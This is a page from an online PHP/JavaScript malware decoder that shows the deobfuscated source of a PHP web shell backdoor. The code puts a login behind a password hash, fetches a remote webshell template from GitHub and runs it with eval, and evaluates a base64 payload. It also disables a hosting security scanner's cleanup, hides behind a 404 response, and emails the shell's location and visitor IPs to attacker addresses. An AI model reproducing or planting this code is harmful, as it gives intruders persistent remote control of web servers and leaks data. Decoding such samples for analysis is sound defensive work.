Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	${
	"GLOBALS"
}
["buntktg"]="shell_data";
	${
	"GLOBALS"
}
["scuhxhr"]="message";
	${
	"GLOBALS"
}
["oaqisrrtv"]="to";
	${
	"GLOBALS"
}
["cgwefoxijrg"]="result";
	${
	"GLOBALS"
}
["ofpfug"]="h";
	${
	"GLOBALS"
}
["lcdnrd"]="ch";
	${
	"GLOBALS"
}
["pttphjm"]="hashed_password";
	${
	"GLOBALS"
}
["atsyxfb"]="ch";
ini_set("max_execution_time",3600);
ini_set("memory_limit","-1");
error_reporting(E_ALL);
	${
	"GLOBALS"
}
["eibtfqfexpjl"]="ch";
$okdobobnubn="head";
$tqfygtx="result";
$clbgoiqbr="result";
ignore_user_abort(TRUE);
	${
		${
		"GLOBALS"
	}
	["pttphjm"]
}
="\$2y\$10\$3LttjcxOGWo9.ckVHGLsf.IAYpbJvPdIRrwmQ9YGrDSobZJ.Cb.WK";
$qwrrxiy="url";
	${
	"GLOBALS"
}
["bvvkidcex"]="url";
	function admin_login(){
	echo"<title>Login</title>";
	echo"<form method=\"post">";
	echo"<input type=\"password" name="password">";
	echo"<input type="submit" value="Login\">";
	echo"</form>";
	exit;
}
	if(!isset($_COOKIE[md5($_SERVER["HTTP_HOST"])])){
	$jjpyzekryspx="hashed_password";
		if(isset($_POST["password"])&&password_verify($_POST["password"],${
		$jjpyzekryspx
	}
		)){
		setcookie(md5($_SERVER["HTTP_HOST"]),true,time()+25200);
	}
		else{
		admin_login();
	}
}
	${
	"GLOBALS"
}
["jnkiokckvnk"]="path";
	${
	"GLOBALS"
}
["vmsiedin"]="e";
	${
	$okdobobnubn
}
	="<head><meta name=\"viewport" content="width=device-width, initial-scale=1.0"/>\n<meta name=\"robots\" content="noindex">\n\n<audio controls autoplay>\n    <source src=\"https://raw.githubusercontent.com/exploit-haxor/webshell/main/x.mp3" autoplay=\"true\">\n</audio>\n\n<title>ILLEGAL ACCESS!!</title>\n\n<style>pre{
	border:1px solid #ddd;
	padding:10px;
	overflow:auto
}
	table{
	border-collapse:collapse;
	width:100%;
	overflow:auto
}
	th,td{
	padding:0.25rem;
	text-align:left;
	border-bottom:10px solid #ccc
}
	tbody tr:nth-child(odd){
	background:#eee
}
	tr:hover{
	background-color:#f5f5f5
}
</style>\n\$shell_data="JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07CmlmICgkdmlzaXRjb3VudCA9PSAiIikgewogICAgJHZpc2l0Y291bnQgPSAwOwogICAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKICAgICR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07CiAgICAkaW5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07CiAgICAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIgLiAkaW5qKTsKICAgICRib2R5ID0gIkxpbmsgSW5qZWsgUEhQIHNoZWxsIDogIHskdGFyZ2V0fSB8IE1ENSBwYXNzID0geyRhdXRoX3Bhc3N9IHwgSVAgYWtzZXMgPSB7JHZpc2l0b3J9IjsKICAgIEBtYWlsKCJtdWhyYXpreUBnbWFpbC5jb20iLCAic2hlTEwiLCAieyRib2R5fSIpOwp9IGVsc2UgewogICAgJHZpc2l0Y291bnQ7Cn0Kc2V0Y29va2llKCJ2aXNpdHMiLCAkdmlzaXRjb3VudCk7CiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CmlmICghJHNhZmVfbW9kZSkgewogICAgZXJyb3JfcmVwb3J0aW5nKDApOw==\";
 eval(base64_decode(\$shell_data));
\n</head>";
$dieafhitd="to";
$osnsjbvebrx="ch";
	${
		${
		"GLOBALS"
	}
	["bvvkidcex"]
}
="https://raw.githubusercontent.com/exploit-haxor/webshell/main/template.php";
	${
		${
		"GLOBALS"
	}
	["lcdnrd"]
}
	=curl_init(${
	$qwrrxiy
}
);
	curl_setopt(${
		${
		"GLOBALS"
	}
	["lcdnrd"]
}
,CURLOPT_RETURNTRANSFER,1);
$omiiidu="message";
	${
	"GLOBALS"
}
["qusjxhiaa"]="result";
	${
	$clbgoiqbr
}
	=curl_exec(${
		${
		"GLOBALS"
	}
	["eibtfqfexpjl"]
}
);
	${
	"GLOBALS"
}
["wfyvpjckrr"]="e";
	eval("".${
	$tqfygtx
}
);
	${
		${
		"GLOBALS"
	}
	["wfyvpjckrr"]
}
=base64_decode("YmxhY2toYXQxMzM3LmlkQGdtYWlsLmNvbQ==");
	${
		${
		"GLOBALS"
	}
	["ofpfug"]
}
=$_SERVER["HTTP_HOST"].$_SERVER["SCRIPT_NAME"];
	${
	"GLOBALS"
}
["sequbuny"]="h";
ini_set("lsapi_backend_off","1");
ini_set("imunify360.cleanup_on_restore",false);
http_response_code(404);
	curl_setopt(${
	$osnsjbvebrx
}
,CURLOPT_RETURNTRANSFER,1);
	${
		${
		"GLOBALS"
	}
	["qusjxhiaa"]
}
	=curl_exec(${
		${
		"GLOBALS"
	}
	["atsyxfb"]
}
);
	eval("".${
		${
		"GLOBALS"
	}
	["cgwefoxijrg"]
}
);
	${
		${
		"GLOBALS"
	}
	["vmsiedin"]
}
=base64_decode("YmxhY2toYXQxMzM3LmlkQGdtYWlsLmNvbQ==");
	${
		${
		"GLOBALS"
	}
	["sequbuny"]
}
=$_SERVER["HTTP_HOST"].$_SERVER["SCRIPT_NAME"];
header("Content-Type: text/html;
 charset=UTF-8");
	${
		${
		"GLOBALS"
	}
	["oaqisrrtv"]
}
="muhrazky@gmail.com";
	${
	"GLOBALS"
}
["lddnjiqd"]="e";
	${
		${
		"GLOBALS"
	}
	["jnkiokckvnk"]
}
="http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
	${
		${
		"GLOBALS"
	}
	["scuhxhr"]
}
="URL: $path | IP Address :[ ".$_SERVER["REMOTE_ADDR"]." ]";
	mail(${
	$dieafhitd
}
	,"Halo senpai!!!",${
	$omiiidu
}
	,${
		${
		"GLOBALS"
	}
	["buntktg"]
}
	,${
		${
		"GLOBALS"
	}
	["lddnjiqd"]
}
,"[ ".$_SERVER["REMOTE_ADDR"]." ]");
echo "\n";
	${
	"GLOBALS"
}
["jceyex"]="random";
	${
		${
		"GLOBALS"
	}
	["jceyex"]
}
=rand(1000,5000);


© 2023 Quttera Ltd. All rights reserved.